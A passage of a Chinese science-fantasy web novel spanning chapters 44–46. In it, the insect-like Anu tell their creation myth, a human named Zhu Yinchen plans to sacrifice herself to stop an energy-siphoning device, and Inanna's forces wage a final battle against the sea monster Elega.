伊南娜冲她微微一笑,用眼神示意她坐到身旁。
总算让固执的家伙改变心意,伊南娜轻叹了一口气,望向天际的那一轮赤红。
夜潮降下,万物安眠,冥土的风暴暂歇,深色浓重夜幕横压过天际,沉重地淌流到海上,夜色在阵阵海风中奔腾着四溢开去,将天地涂作漆黑中透着血红的一抹。
这片黑暗的血海中,埃勒伽是唯一呼吸的活物,她的背鳍高举过天际,鳍尖上挂着那一轮赤红,作她永远凝视的目珠,虚空的深渊之中,藏着不可知的活物。
伊南娜遥遥望着母亲意志的留存,心中的旧事像海水一样涨起涨落,一种不由自主的冲动鼓动心扉,在安提那天真茫然的眼神中,她缓缓开口,将那记忆深处的废墟重现世间……
在最远古的时代,那时候万物还没有形成,一切都还是灰蒙蒙的一片,无数微小的尘埃弥漫围绕在那发光的周围,整个世界沉没在冰冷的、黑暗的、空旷的混沌之中。
在这无边无际的虚空之中,在这一团团弥散聚合的尘埃之中,在一个小小的角落之间,一团较大、较紧致的星体诞生了,时间由此得到了意义,她的诞生,由此苏醒。
那时候,一切都还没有名字,她的存在是唯一的意义。
她是茫茫的海水,无数座火山在海渊之下喷发;她是爆裂的熔浆,风暴呼啸而过,降下的雷雨永不停歇……
她是轻浮的虚无,是浊重的沉淀,一切自由和暴烈皆是她的意志,她用黑暗和光明来繁衍生机。
永恒的存在衍生了她的渴望,最初的生命因此诞生。
她们是完美的、原初的、无名的太古。
最初的时候,她们在辽阔的、滚烫的海水中自由地浮游,捕食每一颗经过的菌藻,直到某一个历史的节点,她们在电闪雷鸣中爬上无边无际的荒芜,牙齿长成锋利之时,就开始彼此厮杀,喰肉为食,尸山血海铺遍了大地,土壤之上长成的植株贪婪地作铺天盖地的血管吮吸。
漫长的战争无穷无尽,时间也不能将她的意志阻挡,繁衍的欲望也由此延续,不知道是谁率先命令了自己的存在,那原初的阿努随之诞生。
她是万物的主宰,杀戮的胜者,每一次踏足都让大地随之震颤,她冲天怒吼一声,五十座山峦倒下了;她冲地俯冲一次,大地撕裂开深深的九道沟壑;她发出一声沉闷的鼻息,海面卷起的风暴杀死了三千多条生命……
她用纳姆命令了自己的名字,她用语言来命令后代,要她们用杀戮来占领据地。
第一个孩子是玛赫,她深陷入地底,用温室来抚育无数姐妹,将她们一一推入死亡的终途;
第二个孩子是恩基,她徘徊于天地之间,将大地与植株联结网络,作姐妹安眠的使者;
第三个孩子是拉姆,她游离于族群之中,生来就被智慧和自由拥护,将族群居留的一一建造;
第四个孩子没有得生,只因那无名的海洋旧主剩了一口气,她被那遗留的憎恨所吞噬。
胜利的纳姆发出一声哀嚎,她的泪珠垂落于仇敌的尸首,那失去母亲的埃勒伽由此而生。
冥土做她永恒的驻地,伽拉瑟亚作她仇恨的种子,她的愤怒永不平息,要做阿努死亡和恐惧的使者,永远凝视纳姆存在的门扉。
纳姆恐惧于埃勒伽的力量,第五个孩子因运而生,伊南娜的火焰永不熄灭,她用风沙将海啸掩埋,用光明将死亡的长夜照尽,埃勒伽也不能将她的生命夺去。
此后的无数阿努,个个皆流着纳姆的血。
纳姆的欲念深扎于大地,要一切都臣服于她的意志,渐渐的,没有任何物种和灾难能将她们阻挡,阿努彼此对上视线,展开了你死我活的厮杀。
无边的鲜血如野火般蔓延,无数的阿努出现又死去,冥土的领域在扩张膨胀,埃勒伽的力量也愈发强大。
然而杀戮的欲念并不因此停歇,阿利都的出现由此诞生,不同的血液铸就新的存在,也造就岌岌可危的忠诚,阿努的野心和纳姆一样不能阻挡,无数双虎视眈眈的眼睛,将纳姆的存在觊觎。
僭越
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的妄念将纳姆激怒,她默诵惩罚的密语,命令她的孩子失去所有,将一切奉献于她的荣光。
所有阿努失去了自殖的权能,喰偶就此成了禁忌的历史,惊慌失措的阿利都们被驱赶至边陲领域的一角,永远不得踏出半步禁地。
果决的暴戾造就绝对的忠诚,纳姆的统治重回正轨,她默许埃勒伽将自己驻守,高悬于她头顶的滔天雷霆,也将所有阿努暗暗威胁。
仇恨在漫长的时间里加剧膨胀,直自现在,埃勒伽仍然居留于母亲的残躯之上,在无边无际的冥土中徜徉……
伊南娜的故事结束了,安提的故事还在继续,她听到这里,若有所思地低下头,似乎是在思索些什么。
天际亮起一线白色的弧光,伊南娜远远望着初生的黎明,轻轻长出一声叹息。
她收回视线,看向安提,语重心长地说道:“伊塔去往的,是那无名的海洋旧主所故去的地方,旧日往事的废墟,遗留于时间的乱流之中 。”
“除非永恒的死亡,否则没有活着的生命可以到达那里。”
“总之,到此为止,忘记她,和我一起留在这里,安心征讨埃勒伽吧。”
安提良久没有言语,一阵海风拂过,天际那端远远传来埃勒伽低沉的怒吼。
她站起身,伊南娜以为她又要去找埃勒伽搏斗,然而这次她只是望着远处那高举过天际的背鳍,眼神中饱含着钦佩的敬意。
在伊南娜不解的眼神中,安提缓缓开口——
“自我诞生以来,她的威名就响彻这天地间,在那段天真的、无知的时间里,我单单以为她是浩瀚死水底下愚蠢的淤泥,是顽固的石块,却从未知晓,她竟独自度过如此漫长的痛苦和折磨。”
“那太过久远的过往我未能去往,然而我看见她初生的痛苦,一如她的现在。”
“诞生之时,她率先吞噬的是自己的姐妹,睁开眼睛,是彼此杀戮的母亲,骨肉的亡灵催生了罪恶的食欲,至亲的离去孤留她徜徉无边的遗恨。”
“她的仇恨滋生了她的意志,所有生命对她俯首称臣,听从她的命令,去往她命令的终途,死亡和黑暗也尽她驱使,沉沦于这浩瀚的疆土,纳姆也不能将她所桎梏……多么高贵的灵魂啊,多么强大的力量!”
伊南娜慢慢皱起眉头,但一想到安提现在的立场,于是很快又舒展开来,恢复平静的神情,默默注视着安提的背影。
安提转过身来,伊南娜看见那双眼睛里再次燃起了熟悉的火焰,但其中燃烧的不再只是救出伊塔的决心,而是一种……更崇高的至上意志。
“我将建立最广阔的地域,”
安提认真地注视着伊南娜的眼睛,做出她野心勃勃的承诺。
“我将用最公义的判决,来赞颂埃勒伽的功绩,她那坚定的意志,她那永恒的决心。”
“我将重新命令埃勒伽的存在,她那高贵的灵魂将永存于世,肉身也将为我所留驻。”
“我将要埃勒伽从海渊中高高升起,作我永生永世的从仆。”
44.虽囚不归地,她敢破迷局
自从上次回溯与奕川对接后,祝吟辰就决定安心将阿努特纳星上关于奇异字符的事情交给蓝星红派那边处理,自己则放心地解决伊斯默德这边的事情。
不可复归之地是个空旷黑暗的洞穴,没有什么多余的草料和木材可以用来搭建屋子,她只能每天找个平坦干净的角落就地睡去,醒来就对着眼前这个奇异的装置,思考对付它的策略。
在看到这个装置塑造出来的不可思议的景象,和听到伊斯默德描述了它究竟都干了些什么坏事后,祝吟辰给这个奇异的装置取了个名字——原子能量虹吸装置。
正如它的名字一样,不可复归之地的迷雾深处,无数细碎的光点围绕着一团光晕慢慢地旋转,宛如宇宙中虹彩夺目的星轨。
无数光点组成的中心,那强烈的光晕之中,是一片悬浮在空中的、看起来极其轻薄的“圆盘”。
为了避免过于强烈的光线,祝吟辰眯着眼睛仔细观察。
“圆盘”看起来是由一整块未知的暗银色金属打造而成,表面覆盖着错落有致的纳米级纹理,边缘完美的弧线轮廓散发着幽蓝的光芒,其核心部位镶嵌着一颗亮得惊人的“水晶”,那穿透力极强的光线就从这里散发出来。
那“圆盘”不断发出细微的嗡鸣声,“圆盘”下方是一个深坑,俯视看上去约有一口井大小。
虽然祝吟辰不能用肉眼观察到量子的准确去向,但她知道这“圆盘”正在从这通往冥土底部的深坑,吸取冥土根系的能量和物质。
据伊斯默德这几天所说的,起初她来到这里的时候,这个坑洞的直径才约一指大小,那时候不可复归之地的情况还算良好,许多植被都正常生长,埃勒伽的状态也更稳定,而不是像现在一样没日没夜地发怒。
“不仅如此,”
伊斯默德飞到祝吟辰肩头,悲伤地说道:“我能感觉到,这里的时间不仅陷入了乱流,还在加速前进,这里目之所及的一切,都在渐渐消失。”
祝吟辰转过身,背对过分强烈的光线,因为观察了太久,她的眼睛已经有些发酸发痛,但还是耐心地问道:“可以再细细说下吗?”
“那时候,我徜徉无边无际的荒芜……”
祝吟辰有点头疼,她知道伊斯默德又要开始讲故事了,这几天伊斯默德总是这样,莫名其妙就开始感叹往事。
可能是因为独自困在这里,寂寞了太久太久吧。
想到这里,祝吟辰再次放宽了一点耐心,默默找了个地方就地坐下,准备倾听这些陈年老旧的故事。
伊斯默德轻巧地飞到祝吟辰腿上,她熟练地打开腹部,一边加固丝茧,一边开始说她的故事。
“海底的熔岩也不能将我阻挡,我诞生自三千米高的波涛之中,张开翅膀,飞去伊南娜所在的方向,在那广袤无垠的沙漠,迎上席卷而过的沙暴……”
祝吟辰打了个哈欠。
“……最后的威胁也被我们所征服,新的尸山血海由阿努所堆砌,爬上顶端的那一刻,我身上染上无数姐妹的血……”
祝吟辰上下眼皮子开始打架。
“……埃勒伽的威名不容亵渎,我心甘情愿地坠入死亡的漩涡,那是我第一次流下热泪,我远远望着天上还在彼此厮杀的姐妹们,没来得及道一声别离,我知道,我们将以这样遗憾的方式就此别离,漫长的时光将我困在这里……”
祝吟辰闭着眼睛,鼻腔发出细微的鼾声。
“……最终,我发现了这个发光的该死的要命的丑陋的死物!!!”
祝吟辰打了个寒战,醒来了。
她揉了揉太阳穴,问道:“然后呢?”
“然后,我不得不以后代的生命为代价,来勉强对抗这个发光的该死的要命的丑陋的死物。”
“然——!什么?!”
祝吟辰猛地瞪大了眼睛,震惊地盯着伊斯默德。
伊斯默德叹了口气,继续说道:“我们流着和纳姆相同的血,共享母亲那无与伦比的荣耀,无奈生得这幅小小的躯壳,夜潮涨起落下三十次,我就会腐化做一团黑泥,默默死去。”
听到那不可言说也不可倾听的名字,祝吟辰感到熟悉的头痛欲裂,眼前也开始一阵阵地发黑。
幸好有纯露的治疗,她还能保持意识的清醒。
祝吟辰强撑着问道:“那你是怎么活到现在的?”
伊斯默德没注意到祝吟辰的异样,回道:“为了活到与伊南娜一战的那一刻,我只能将自己的血融于腹中丝茧,当我死去腐朽之时,丝茧破开,将我的躯壳重生,又给我数不清的女儿。”
“以这样的方式,我得以活过无数个夜潮降临,又带着女儿们四处征战。”
“然而当我不幸坠入这里,发现目所能及的一切都在消失的同时,我死去的时间也变得极短,或是十七个夜潮,或是十个夜潮。”
“困于此间,我原本已经放弃了生的希望,然而时间一点一点过去,我发现冥土和埃勒伽的异样,再看到那发光的该死的要命的丑陋的死物,顿时知道这里的一切都因它而渐渐消逝,如若继续放任下去,冥土必然发生可怕的巨变。”
伊斯默德深吸了一口气,那双黑豆小眼里透出沉痛,她口中的话却无比庄严:“统治这里如此之久,我应当管制好这里的一切,外来的死物也应要为我所征服。”
“于是,我只能……牺牲我部分女儿的生命,将她们投入那死亡的深渊中,以这崇高的献祭,来减缓冥土的消逝。”
听到这里,祝吟辰的眼神已经完全变了,她深深地凝视着伊斯默德小小的背影。
比起埃伽和伊南娜那样,有着不可思议的力量的阿努萨,这样如此渺小,如此短暂的生命,也有着自己的野心和壮举。
多么令人钦佩的勇气啊,虽然,一切看来不过是强弩之末。
毕竟,一些指甲盖大小的小虫幼体,实际上能牵制量子虹吸装置多久呢?
不过一捧灰的余烬罢了。
她沉默了一会儿,渐感到有些悲伤,忍不住轻轻抚摸伊斯默德的头顶,想以此作为一种安慰。
然而伊斯默德虫躯一震,像是察觉到什么,猛地转过头来,那对黑豆小眼疑惑地看着她,而后突然不满地挥动虫足,用力拍开她的手。
“大胆!无知的使者,竟敢擅自藐视我的功绩!”
伊斯默德将丝茧塞回腹部,愤怒地扇动起翅膀,向祝吟辰的脸猛扑去。
祝吟辰站起身四处躲闪,深刻地理解了伊斯默德那骄傲自大的性格,容不得半分突如其来的同情,同情就是对弱者的藐视,弱者就是对伊斯默德最大的侮辱。
她只好连连求饶道:“好好好,我知道你很厉害……”
“愚昧无知的阿努呵,你给我听好!”
伊斯默德高高飞到祝吟辰面前,与她四目相对。
“以我那野蛮生长的血肉起誓,我,伊斯默德,在统治此地的时间里,我付出了我无上崇高的代价,为此地赢得了无上光荣的岁月。”
祝吟辰看着伊斯默德那认真的、庄重的眼神,心中的悲伤突然慢慢退却。
“高声赞颂我的功绩吧,”
伊斯默德看着祝吟辰的眼睛。
“我那渺小的灵魂和我死去的一样高贵,每厘每分,死得其所。”
“……”
祝吟辰一时间说不出话来。她从伊斯默德眼中看到一种古老的、荒芜的精神,就像安提狩猎时会为死去的猎物高歌赞颂一样。
阿努的世界里,死亡从来不是弱者败落的苦难,而是带着骄傲的功绩,回到黑暗地底母亲的怀抱。
埃勒伽的出现大概打破了这一局面,死亡对面不再是母亲欣慰的亲吻,而是冰冷黑暗的冥土深渊。
也因为如此,阿努才对埃勒伽的名字无比憎恨惧怖吧。
但即便如此,阿努那原初的精神还是传承了下去,从伊斯默德那嗜血暴乱的时代,一直到安提生活的,安定有序的时代,用尽全力与困境搏斗,追逐自以为是的理想,无论自己是弱小还是强大,无论结局是胜利还是失败,都是一种至高无上的荣耀。
她确实不应该对这份荣耀发出高高在上的、怜悯的同情,人与阿努之间截然不同的文化,此刻在她心中发出震撼的、心灵的震荡。
祝吟辰缓缓开口:“我赞颂你的崇高,伊斯默德。”
伊斯默德紧紧盯了她好一会儿,似乎是看出了祝吟辰的态度确实真诚,随后骄傲地飞到她肩上,将头颅高高扬起。
“嗯。”
……
白天的插曲已经过去,但最紧急的事情还迫在眉睫。
深夜,祝吟辰睡在黑暗的角落里,怀中的伊斯默德早已睡熟,而她的脑中,仍然在思考处理量子能量虹吸装置的对策。
如果说原子能量虹吸装置要的就是源源不断的能量的话,可不可以通过在该装置的作用立场上放置一种,可以无限生成能量的装置,来控制它不要继续吸收冥土的能量呢?
但一想到这种想法的可行性,祝吟辰就忍不住轻轻叹了口气。
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先不说这种想法有没有可能实现,如果向蓝星求援,AGPC科技管理中心恐怕不一定会伸出援手,特别是在这量子能量虹吸装置极有可能就是他们研发出来的情况下,而且贸然透露自己抵达此地的情况,恐怕自己还有被灭口的风险。
红派那边势力单薄,在整个联合城邦的顶尖前沿科技已经被AGPC科技管理中心垄断的情况下,恐怕她们也不能帮她想到什么有效的办法。
总而言之,现在只能靠赤手空拳的自己。
等等,无限生成能量……
祝吟辰脑海中情不自禁回忆起白天伊斯默德说的话。
将女儿们投入装置下方的作用力场,从而牵制装置对冥土深处能量的吸取……
她没有喰偶,更没有女儿,只有自己。
那么,如果是把自己投进去呢?
自己有纯露的力量,而且已经运用得很熟练,即使让她再次穿过一次恩基布下的地下隧道,她也可以轻轻松松,做到不流一滴血地通过。
但她之前已经明了,一具躯体的能量对于那个装置来说是杯水车薪,那个装置的功率大得超乎想象,以区区一个轻薄圆盘的大小,甚至可以威胁到遍布整个阿努特纳星北部的冥土,和强大的埃勒伽。
祝吟辰好不容易有了点思绪,现在又断了,她苦思冥想了一阵,忍不住站起身来,在洞穴里踱来踱去。
四周的迷雾冰冷,一寸寸浸没她的身躯,染上寒冷刺骨的水雾。
祝吟辰打了个寒战,身体有些微微的发抖,要不是阿努的身体素质强大,她恐怕早就感冒发高烧了。
话说,这些迷雾到底是什么……
等等!
她突然想起她进来这里的那一瞬间。
那副奇妙的、不可思议的场景,无数个自己在时空交错间重叠、穿梭,像是无数个她,在无数个时空里做了无数个梦。
在她穿越从出生到走路,从上学到服役的重重个自己,即将看到自己生命的终点的那一刻,埃勒伽突然出现,将所有可能性统统粉碎,自己就此跌入此地。
祝吟辰在校期间已经有过对物理学的系统性学习,对于阿努的力量也已经有所了解,渐渐的,一个猜测从她的脑海浮现。
她大概是进入了四维的世界,虽然不知道埃勒伽是如何操作的,但可以肯定,埃勒伽就是利用迷雾来将所有阿努的生命困死在冥土的,这也是为什么阿努们死后无法见到母亲的原因。
这其中,当然也包括自己。
将今夜的推测结合,祝吟辰的心中逐渐出现一个大胆的想法,一个疯狂的计划在她脑海里逐渐形成……
冥土将外界的天光阻隔,这里只能由生物钟将自己唤醒,伊斯默德迷迷糊糊睁开眼睛之时,只看见身旁空荡荡的一块平地,祝吟辰已经不见了踪影。
她大吃一惊,连忙飞起来,四处寻找祝吟辰的足迹。
隐隐约约看见前方投下一个细长的阴影,她向那片将强烈光线遮挡的小小身影飞去,离得近了,却看见祝吟辰站在那片“圆盘”面前,眼底透出她看不懂的情绪。
“怎么了吗?”
伊斯默德飞到祝吟辰肩上,强烈的光线使得她微微眯上眼睛。
祝吟辰转过头来。
这是伊斯默德第一次看到她的使者露出这样衷心的笑容,像是很久很久以前,她曾经见过的一种趋光的生物,她们总是踌躇满志,一生都在追逐光明。
“伊斯默德,我接下来的话,你可能听不太懂,但总而言之,我想到办法了。”
祝吟辰认真地注视着伊斯默德的眼睛,这将可能是她人生的最后的话。
“我将进入装置下方的作用力场,以这里的迷雾做媒介,再次跨入四维,将自己从生到死的命运作为一个两端相连接的、无限循环的四维虫体。”
“然后,我将用纯露贯穿涌流整个虫体,让其中的能量可以源源不断地循环流动,这样就可以让装置的作用范围控制在我自己之内。”
“但你不用为我担心,因为我很强大,我会控制好纯露的作用点,会让我的命运被吸收的同时,精准地生长恢复。”
看着祝吟辰那坚定的神情,伊斯默德第一次露出了有些不知所措的眼神,她摇摇晃晃地飞起来转了几圈,而后轻轻飞回祝吟辰的肩上。
“虽然我听不懂你在说些什么,我记得阿努的语言没有这些奇怪的发音……”
伊斯默德有些局促地笑了笑,而后立马露出了为祝吟辰骄傲
45.雾海之上,终战将至
极寒之地的雪原辽阔,银白的世界里,白雪皑皑直铺往地平线那头,露出一线洁白的天光。
漫天风雪中,万物静默。
寒风肆虐喧嚣,尼努尔塔独自站在雪地里,远远望着地平线那头的白色天光一点点升起。
上个夜潮的黑暗逐渐退却,大地之上,晦暗的视线中重新覆上洁白的冰雪,闪烁着晶莹剔透的光芒。
冰室里的大颚们陆陆续续地出来,仿佛一种无声的默契,她们都默默地站到属于自己的位置,好像来到并适应这里还只是昨天的事。
没过多久,大颚们,连同随行的拉姆和小虫们都集结得差不多了,整齐地站成一个阵队。
一些性格还很活泼的小虫们好奇地四处望着,观察一声不吭的大颚们,不知道她们现在又要干什么。
尼努尔塔转过身,严肃的眼神注视着所有的阿努。
“极北之地的伊南娜阿努萨传来了她的命令,我们将离开这里,继续向北行进,前往征讨冥土的主人,埃勒伽。”
风声铮铮,大颚们铁一般肃穆,伫立不动。
拉姆们面面相觑了一阵,眼神里纷纷传递着惊讶的情绪,又有些犹豫不决。
原本探头探脑的小虫们也静默下来,站在拉姆们肩头,不说话了。
尼努尔塔环视众阿努一圈,大家的反应她都看在眼里。
她接着说道:“愿意留在队伍里的,收拾好自己的行囊,跟着我们继续向北。”
“不愿意留在队伍里的,也将自己的装备收拾好,一支专门的小队会送你们回到菌群,在那里,你们可以顺利度过这个寒潮。”
队伍里窸窸窣窣地议论纷纷了一阵,过了不久,一个拉姆率先出列,紧接着,一些拉姆和小虫也陆陆续续地出列了。
她们站在一起,直视着尼努尔塔的眼睛,有的脸上露出了鄙夷的神色,或是某种揣测的不安,但大多数脸上透露的,更多是一种复杂的、不舍的神情。
尼努尔塔一声令下,前排的十五只大颚出列,她们走到出列的阿努面前,微微曲膝低头,做出随行保护的姿势。
“此后,阿努的荣耀将由你们驻守,而我们将跟随伊南娜的光明,无论前方是希望还是毁灭,永恒的火焰将照耀你我不灭的灵魂。”
“永别了,姐妹们,再见时,愿我们的血重新流淌到一起。”
辽阔洁白的雪原之上,冥土茫茫雾海的边界,一支小小的队伍向南走去。
而更多的,集结成一片黑色的方阵,在无边无际的风雪喧嚣中,沉默地踏出驻地,一路向北,进入雾海。
正如安提和祝吟辰进入这里时一样,尼努尔塔和她的队伍遇到了相同的情况,但大颚们对此已经有了充足的过往经验。
以尼努尔塔作领队,她们集结做一条长长的队伍,后一个大颚用头上的触角和前一个同伴身后的毒鞭相交缠,保护好每一个同伴都不会走丢,即使有同伴陷入幻觉,也不会因此发狂,脱离队伍。
云海在默默向前的队伍两边不断向后退去,脚底冰冷悬空的触感也一点点变得坚硬厚实。
没有食物和供以睡眠的地方,尼努尔塔和她的大颚们就这样一路向北行进。
不仅仅是冥土的这一端,在其他的方向,其他大颚也在陆陆续续地赶来,伊南娜的命令并不仅仅下达给了尼努尔塔一个,而是她的全部部下。
在那天和安提谈心后,远远望着伤痕累累,却依然一次次向埃勒伽走去的安提的背影,伊南娜终于下定决心,不仅仅是她自己的鼎力相助,而是要赌上自己的全部筹码,为安提和她接下来的计划做一场酣畅淋漓的最终决战。
她原以为安提已经足够杰出,是个足够果断勇敢的阿努,然而安提的成长似乎远超她原本的计划,她甚至在那铮铮昂扬的背影里看到了某些纳姆过去的影子。
她原以为,母亲的女儿中,自己是最优秀出挑的那一个,然而现在,面对这小不点的安提,她心中竟燃起了某些很久很久以前,那种嗜血的、野蛮的欲望。
那些酣畅淋漓的岁月已经过去,彼此厮杀的姐妹们,除了现存的五个阿努萨外,也都在时间的长河中一一死去。
现在,那远古的野心又开始熊熊燃烧,如同无边燎原的火焰,将每一寸原野都燃烧作荒芜的沙海。
因此,原本的计划就不再是简简单单地扶持安提强大,顺水推舟让其帮助自己战胜埃勒伽,而是更具有野心的部分——她想知道,安提和自己,谁才是最终的胜者?
那一夜,伊南娜望向天际那头厮杀的两个身影,唇角重新挑起一抹久违的笑意,原本迷离的眼神也因为嗜血的兴奋一点点清醒起来。
于是,她也站起身,加入了这场战斗。
数不清是第几次,天际那头又渐渐亮起了深沉的赤色,勾勒在二虫身上,又流淌过全身,如黑暗地母为她们主持的一场血的洗礼。
埃勒伽远远发出一声低沉的呼唤,天边的那片背鳍慢慢潜落下去,风暴也渐渐平息。
安提喘着气,慢慢站起身,望向远去的埃勒伽,眼神里仍然燃烧着昂扬的斗志。
每一次战斗没有赢家,双方好像真身和湖中的自己,不管不顾地互相攻击,每一次交手都让彼此伤痕累累,又在极度疲惫下暂做休息,等待下一场擂台的再续。
她转头看向伊南娜,后者看上去也伤得不轻,递过来一个赞赏的眼神。
安提也回以自信的笑容,无论如何,她们从被全面碾压,到现在的不分胜负,进步是肉眼可见的进步。
下一次,一定可以打败埃勒伽。安提的视线瞥见冥土边界那头的雾海,突然想起什么,转过身看向伊南娜。
“大颚们还没有到吗?我记得从那边走过来要不了几个夜潮。”
伊南娜也露出些犹豫的神色,看向冥土边界那边。
茫茫雾海中,一些若隐若现的光影闪烁着,似乎与之前那样死气沉沉的、晦暗的气氛有所不同。
安提与伊南娜对视一眼,心有灵犀地交换了一个眼神,她们兵分两路,各自向雾海不同的方向行进。
走出冥土,是分布着黑色礁石的、粗粝坚硬的沙滩,走过辽阔的沙滩,就是脚底冰冷的触感,和眼前云雾缭绕的景色,白茫茫抹作一片,看不清什么东西。
视线受到阻碍,安提只能放慢脚步,她看准了前后的光线和方向,坚定心中信念,尽量避免不让自己迷失在其中。
身在迷雾之中,对时间和空间的感觉会陷入紊乱,安提眼神里渐生出一些迷茫,她不太确定自己走了多久,但还是坚持向前。
冰凉湿润的雾气在脸上
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拂过,带上湿漉漉的、粘稠的水汽。
安提用力眨了下黏糊糊的眼皮,试图让视线清明,长时间处在这里的空间里,她的身体渐感到有些失温。
然而不止是身上,脚底那种冰凉的感觉似乎也开始渐渐变化,她感到一种粘稠的液体流淌在地面上,那种湿滑的感觉勾起她心头的警惕,步伐不得不变得一慢再慢。
直到一滴粘稠的液体滴落在肩头,安提的眼神顷刻变得犀利,她果断反身向后,挥出一记猛力的肘镰,下一刻,弧形的水花爆裂在她身上,伽拉瑟亚爆裂的声音炸开,声波将四周弥漫雾气一圈圈荡开。
远处和近处的空气如同透明的薄膜一般,突然被一种无形的力量捏动扭曲起来,混乱的光线折射出无数虹彩的光斑,在空气中流光溢彩地闪烁。
安提冷冷地看着脚下伽拉瑟亚碎裂的身体,看来这只伽拉瑟亚是将自己吞入腹中,又悄无声息地跟着自己前行,如一个如影随形的透明房子一样,所以直到现在,才被自己发现蹊跷。
她和伊塔上一次到达这里的时候,雾海还没有这些伽拉瑟亚的影子,尼努尔塔也说过,伽拉瑟亚只存在于冥土的海水中,和寒潮来临时的雪原之上。
那么毫无疑问,这些伽拉瑟亚的出现显然埃勒伽的力量所为,目的大概是为了驱除前来支援她和伊南娜的大颚们。
这段时间,埃勒伽面对她和伊南娜的力量逐渐减弱,恐怕就有这个原因。
安提环视四周无数星星点点的光斑,好像久违的夏季,雨后澄澈天空的彩虹,碎裂做轻灵可爱的一片一片,慢慢地围绕着自己舞蹈、旋转。
原本看起来梦幻迷离的场景此刻给她一种不寒而栗的感觉,安提心头渐渐压上一块大石头,数量如此众多的伽拉瑟亚,恐怕尼努尔塔那边,还有其她赶往冥土的大颚,都凶多吉少。
下一秒,她深吸一口气,眼中的忧虑渐化作释然的率直,恢复原本信心满满的神色。
同伴有难,看来,她更应该向前了!
灵巧迅捷的身姿果断地冲进雾海深处,漫无边际的云雾迅速将空隙填拢,一切似乎都恢复了悄无声息的寂静。
……
伊南娜已经找到了尼努尔塔和她的队伍,包括你努尔塔在内,原本五十五只大颚现在残余了四十有余,面临死亡,她们依然忠心耿耿,抬头望向光明的伊南娜。
周身的雾气被逐渐驱散,温暖的光线照耀在身上,尼努尔塔虔诚地低下头颅,她身后的大颚们也做出一致的动作。
“我们只跟随您的脚步,阿努萨。”
伊南娜高高地悬浮在空中,慢慢环视了一遍她在场的随从,她们每一个都身手矫健,野心勃勃,是猎杀和屠戮的好手。
她满意地笑了,唇角勾出一抹张扬的弧度,那双虎目再次放射出明亮的光芒,带着一种将一切驾凌驱使的气魄,自豪地俯视着她忠诚的部下,尼努尔塔、玛妮娜、阿比图……还有那些死去的,她一直记得她们的名字,记得她们的样子,还有她们永不磨灭的荣耀。
她转过身,高昂着骄傲的下巴,望向冥土中心的方向,所有的大颚也顺应她的视线,看向她们一致的方向。
“跟随我的意志,向我献上你们至高无上的崇高!”
最终的决战,就要在她的主导下完结。
46.永恒的埃勒伽
在伊南娜的统领下,大颚们一扫之前被伽拉瑟亚挫败的狼狈,重振士气,在雾海之中勇猛行进,包括尼努尔塔在内,约四十多只大颚组成的队伍,逐渐抵达冥土的边界。
安提这边也很顺利,茫茫雾海中,她先是遇到了另外一支大颚的队伍,与她们齐心协力打败了包围这边的伽拉瑟亚后,在与她们前进的路上,又遇到了另一支队伍。
时间似乎有些不够,安提与刚刚认识的大颚首领并肩作战,想到伊南娜那边的情况不明,雾海中的伽拉瑟亚又不知道到底有多少,即使当下的战况不错,心中仍然有些焦急。
一直跟无穷无尽的伽拉瑟亚耗下去是没有多大意义的,不如做些更干净利落的事。
比如……直接解决埃勒伽。
是选择将雾海中的大颚们留在这里,还是赌一把大颚们有能力自保,返回去与埃勒伽彻底来一场你死我活的较量?
“砰——!”
最后一只伽拉瑟亚在身后爆开,这边算是暂时安全了,安提利落地一挥肘镰,甩去上面的粘液,转身看向身后幸存的大颚们。
她们有的负伤,有的还算健全,都趁着这喘息的时间互相帮助。
仔细想想,有什么理由不相信她们呢?
她们本来就是为了自己的胜利来到这里,全心全意为了目标冲锋,才是最正确的事情。
下定决心,安提向这支大颚的首领走过去,刚想对她道别,对方却先递过来一个肯定的眼神,那张看起来狰狞凶恶的脸无比平静,安提看到那双眼睛里透出一种久经沙场的,对同伴毫无保留的信任。
这样的默契,在她尚未离开菌群之前,也曾切身体会过,想不到在背叛了虫群后,自己还有与姐妹们这样交心的机会。
安提脸上扬起一个了然的笑容,而后与大颚首领擦肩而过,向她们一致的方向,那冥土的中心奔去。
似乎是感应到威胁非但没有退缩,反而在不断靠近,埃勒伽不得不带着还未痊愈的伤痕,重新浮上冥海表面。
风暴和海啸应她的召唤重来,击碎的冰山随着高连过天际的的海浪起浮、撞击,冥海中远远回荡着埃勒伽的怒号。
安提的速度很快,踏出雾海范围的那一刻,她看到了伊南娜的光明,在冥土之上与埃勒伽厮杀,而尼努尔塔带着其他的大颚,在冥海浮冰之上对埃勒伽发动群攻。
伊南娜似乎是下定了决心,即使是两败俱伤,也要让埃勒伽彻底死在这里。
安提眼看着天空之上的伊南娜,她周身的铠甲泛起暗沉的血色,金色的纹路流淌、蔓延,那头张扬的赤发如同燎原的火焰一般熊熊燃烧。
伊南娜高傲地望着冥海中拖着伤痕累累的身躯,慢慢潜游的埃勒伽,她口中默颂了两句,一团明亮的光芒慢慢将她的身体吞没,而后化做一团巨大的、剧烈动荡的光晕,在光晕缩小到了极致的那一刻,凝作一点无比耀眼的星,高悬于天空之上。
明亮的光芒在冥海之上瞬间爆开,掀起排山倒海的气浪,下一秒,宛如白色的天光穿越冲重雾海,无数刺眼的光线将雾海顷刻照透。
困在雾海中与伽拉瑟亚们战斗的大颚们精神一振,远远望见伊南娜的显现,将温暖和光明重新照耀。
不知道是谁率先发起号令,大颚们踏过死去的伽拉瑟亚们,勇猛地向冥土中心冲锋。
无数阻挡的伽拉瑟亚们溃不成军,晶莹的水花层层爆开,在冥土四周形成一圈圈荡漾的涟漪,一层层向冥土中心扑来。
形势是前所未有的好,安提当机立断,直接闯入尼努尔塔的阵营,尼努尔塔瞥见她的存在,眼中闪过一丝惊讶,而后迅速让出身位。
看准与尼努尔塔这波配合的时机,安提迅速冲进埃勒伽最近的前线战线,在一片混战之中,眼疾手快攀住埃勒伽背鳍的鳞片,想借机爬上埃勒伽的身体。
雨点般的攻击和来势汹汹的战意彻底激怒了埃勒伽,冥海之下传来一声空前震怒的咆哮,埃勒伽终于跃出冥海,无数巨大的触手突出冥海表面,带着背鳍上的安提,开始了她疯狂的杀戮。
这是所有阿努第一次真正看见埃勒伽的真容。
一种令人不寒而栗的生物,数条鱼鳍和触手纠缠成混沌的一团肉块,肉块的中心镶嵌着一只半阖着眼的目珠,那黑色的瞳仁仿若黑洞一般,所有的死亡、黑暗和冰冷在其中涌动、流转,巨大的、肮脏的鳞片密密麻麻地分布在这团肉块上,粘液自其中的缝隙溢出,化作一个个伽拉瑟亚。
